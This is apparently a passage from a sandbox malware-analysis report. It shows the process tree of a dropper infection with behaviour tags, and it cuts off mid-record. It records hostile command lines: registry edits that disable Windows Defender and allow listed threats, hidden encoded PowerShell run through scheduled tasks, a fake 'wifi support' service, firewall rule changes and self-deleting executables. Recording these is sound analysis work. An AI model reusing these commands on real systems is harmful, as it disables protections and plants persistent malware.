"C:\Users\Admin\Documents\aDqaRvX_ilyt5Y35D79OJPKa.exe"
6⤵
- Executes dropped EXE
PID:4148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 440
7⤵
- Program crash
PID:4840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 480
7⤵
- Program crash
PID:4784

C:\Users\Admin\Documents\tla0LoH9nnwsE6P68juUcIz4.exe
"C:\Users\Admin\Documents\tla0LoH9nnwsE6P68juUcIz4.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:3700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 624
7⤵
- Program crash
PID:4920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 632
7⤵
- Program crash
PID:5060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 744
7⤵
- Program crash
PID:5000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 752
7⤵
- Program crash
PID:4112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 892
7⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 1236
7⤵
- Program crash
PID:5428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 1304
7⤵
- Program crash
PID:5880

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "tla0LoH9nnwsE6P68juUcIz4.exe" /f & erase "C:\Users\Admin\Documents\tla0LoH9nnwsE6P68juUcIz4.exe" & exit
7⤵
PID:1788

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "tla0LoH9nnwsE6P68juUcIz4.exe" /f
8⤵
- Kills process with taskkill
PID:5224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 1348
7⤵
- Program crash
PID:5176

C:\Users\Admin\Documents\muMvNFVqlLCCvYHbVhFNOneq.exe
"C:\Users\Admin\Documents\muMvNFVqlLCCvYHbVhFNOneq.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:2440

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Affaticato.gif
7⤵
PID:4556

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:1500

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq BullGuardCore.exe"
9⤵
- Enumerates processes with tasklist
PID:3400

C:\Windows\SysWOW64\find.exe
find /I /N "bullguardcore.exe"
9⤵
PID:3312

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
9⤵
- Enumerates processes with tasklist
PID:5044

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
9⤵
PID:4936

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^uEDzPzHFCdzewXWMRhXuwzGNjMXXrsYuMnTuDfFnaaWMxrxJAnNdPOrNYPircJBlshdCrQoBHnNIvTzoshbFDH$" Koubbeh.gif
9⤵
PID:5152

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
Accostarmi.exe.pif N
9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3152

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
10⤵
- Executes dropped EXE
PID:5784

C:\Users\Admin\Documents\AnAO3ykgN6zQm9a36A8KKRO1.exe
"C:\Users\Admin\Documents\AnAO3ykgN6zQm9a36A8KKRO1.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:3220

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:4472

C:\Users\Admin\Documents\DXUpVMqSdQVzs4hrQfnAmp4U.exe
"C:\Users\Admin\Documents\DXUpVMqSdQVzs4hrQfnAmp4U.exe"
6⤵
- Executes dropped EXE
PID:840

C:\Users\Admin\AppData\Local\Temp\7zS7B67.tmp\Install.exe
.\Install.exe
7⤵
- Executes dropped EXE
PID:4832

C:\Users\Admin\AppData\Local\Temp\7zS9930.tmp\Install.exe
.\Install.exe /S /site_id "525403"
8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
PID:5064

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
9⤵
PID:5280

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
10⤵
PID:5500

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
11⤵
PID:5928

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
11⤵
PID:6044

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
9⤵
PID:5420

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
10⤵
PID:5564

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
11⤵
PID:5696

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
11⤵
PID:5944

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gPIZccCoj" /SC once /ST 00:31:50 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
9⤵
- Creates scheduled task(s)
PID:5840

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gPIZccCoj"
9⤵
PID:3736

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gPIZccCoj"
9⤵
PID:4272

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 01:11:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\AkcvgFM.exe\" j6 /site_id 525403 /S" /V1 /F
9⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:6104

C:\Users\Admin\Documents\_K4XFhkJavy64vjBfw1Mymb4.exe
"C:\Users\Admin\Documents\_K4XFhkJavy64vjBfw1Mymb4.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2028

C:\Users\Admin\Documents\1HJhHzOYyYhBqKnzsoi9rIOO.exe
"C:\Users\Admin\Documents\1HJhHzOYyYhBqKnzsoi9rIOO.exe"
6⤵
- Executes dropped EXE
PID:964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\Documents\1HJhHzOYyYhBqKnzsoi9rIOO.exe
7⤵
PID:4748

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 0
8⤵
PID:5576

C:\Users\Admin\Documents\gXGUMYO_cXSUHlyI2a2Ry4ya.exe
"C:\Users\Admin\Documents\gXGUMYO_cXSUHlyI2a2Ry4ya.exe"
6⤵
PID:1268

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:4332

C:\Users\Admin\Documents\HehbsNAyj2Tjv0H1F_DeznR0.exe
"C:\Users\Admin\Documents\HehbsNAyj2Tjv0H1F_DeznR0.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:640

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4932

C:\Users\Admin\Documents\bHcfaBRIndLxtBLfD2WXawQt.exe
"C:\Users\Admin\Documents\bHcfaBRIndLxtBLfD2WXawQt.exe"
6⤵
- Executes dropped EXE
PID:4252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 920
7⤵
- Program crash
PID:4896

C:\Users\Admin\Documents\34jOYlQQ727cZ5P61skIOPSA.exe
"C:\Users\Admin\Documents\34jOYlQQ727cZ5P61skIOPSA.exe"
6⤵
PID:4240

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
PID:4200

C:\Users\Admin\Documents\_206pnKzMIhryT0aivVkY1yL.exe
"C:\Users\Admin\Documents\_206pnKzMIhryT0aivVkY1yL.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
PID:4232

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\orhgzbil.exe" C:\Windows\SysWOW64\uvchuqon\
7⤵
PID:2880

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uvchuqon\
7⤵
PID:4796

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create uvchuqon binPath= "C:\Windows\SysWOW64\uvchuqon\orhgzbil.exe /d\"C:\Users\Admin\Documents\_206pnKzMIhryT0aivVkY1yL.exe\"" type= own start= auto DisplayName= "wifi support"
7⤵
PID:3828

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description uvchuqon "wifi internet conection"
7⤵
PID:3296

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start uvchuqon
7⤵
PID:4924

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
7⤵
PID:4804

C:\Users\Admin\ugpiyyct.exe
"C:\Users\Admin\ugpiyyct.exe" /d"C:\Users\Admin\Documents\_206pnKzMIhryT0aivVkY1yL.exe"
7⤵
PID:4972

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vjkmotgj.exe" C:\Windows\SysWOW64\uvchuqon\
8⤵
PID:4236

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" config uvchuqon binPath= "C:\Windows\SysWOW64\uvchuqon\vjkmotgj.exe /d\"C:\Users\Admin\ugpiyyct.exe\""
8⤵
PID:4860

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start uvchuqon
8⤵
PID:4416

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
8⤵
PID:3280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4972 -s 1232
8⤵
- Program crash
PID:5172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4232 -s 1368
7⤵
- Program crash
PID:832

C:\Users\Admin\Documents\Yj6eUu6f9bLMJUA1AmLlIhxw.exe
"C:\Users\Admin\Documents\Yj6eUu6f9bLMJUA1AmLlIhxw.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4224

C:\Users\Admin\Documents\Yj6eUu6f9bLMJUA1AmLlIhxw.exe
"C:\Users\Admin\Documents\Yj6eUu6f9bLMJUA1AmLlIhxw.exe"
7⤵
- Executes dropped EXE
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4884 -s 536
8⤵
- Program crash
PID:1364

C:\Users\Admin\Documents\sMnwcOh8L1t7QpzbkhklETkS.exe
"C:\Users\Admin\Documents\sMnwcOh8L1t7QpzbkhklETkS.exe"
6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4216

C:\Users\Admin\Documents\f4tZe1uSD788Kxcqf1VkBD6_.exe
"C:\Users\Admin\Documents\f4tZe1uSD788Kxcqf1VkBD6_.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4504

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout 45
7⤵
PID:4404

C:\Windows\SysWOW64\timeout.exe
timeout 45
8⤵
- Delays execution with timeout.exe
PID:4960

C:\Users\Admin\AppData\Local\Temp\Ftbxknprim.exe
"C:\Users\Admin\AppData\Local\Temp\Ftbxknprim.exe"
7⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5420

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
7⤵
PID:5400

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_4.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2460

C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\sonia_4.exe
sonia_4.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1296

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:2132

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:840

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3296

C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\sonia_2.exe
sonia_2.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:4000

C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\sonia_1.exe
sonia_1.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\SysWOW64\rUNdlL32.eXe
"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub
6⤵
- Loads dropped DLL
PID:4068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 604
7⤵
- Program crash
PID:1128

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_7.exe
4⤵
PID:640

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_6.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3312

C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\sonia_6.exe
sonia_6.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2292

C:\Users\Admin\AppData\Local\Temp\is-R9UEO.tmp\sonia_6.tmp
"C:\Users\Admin\AppData\Local\Temp\is-R9UEO.tmp\sonia_6.tmp" /SL5="$9006E,506127,422400,C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\sonia_6.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 564
4⤵
- Program crash
PID:320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1888 -ip 1888
1⤵
PID:3920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4068 -ip 4068
1⤵
PID:1576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4148 -ip 4148
1⤵
PID:4772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3700 -ip 3700
1⤵
PID:4848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4884 -ip 4884
1⤵
PID:4880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3700 -ip 3700
1⤵
PID:4656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4148 -ip 4148
1⤵
PID:4276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4252 -ip 4252
1⤵
PID:836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3700 -ip 3700
1⤵
PID:4576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 4232 -ip 4232
1⤵
PID:5056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3700 -ip 3700
1⤵
PID:4240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3700 -ip 3700
1⤵
PID:4540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4972 -ip 4972
1⤵
PID:4540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3700 -ip 3700
1⤵
PID:5352

C:\Windows\SysWOW64\uvchuqon\vjkmotgj.exe
C:\Windows\SysWOW64\uvchuqon\vjkmotgj.exe /d"C:\Users\Admin\ugpiyyct.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5396

C:\Windows\SysWOW64\svchost.exe
svchost.exe
2⤵
PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5396 -s 536
2⤵
- Program crash
PID:4248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 3700 -ip 3700
1⤵
PID:5728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3184 -ip 3184
1⤵
PID:5988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5396 -ip 5396
1⤵
PID:1252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3700 -ip 3700
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of SetThreadContext
PID:4240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3184 -ip 3184
1⤵
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Executes dropped EXE
PID:4972

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:5164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3184 -ip 3184
1⤵
PID:4456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5900

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:6080

C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\AkcvgFM.exe
C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\AkcvgFM.exe j6 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5844

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5188

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:992

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:5636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3828

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:5860

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:5856

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:5660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:6056

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:1644

C:\Windows\SysWOW64\reg.exe
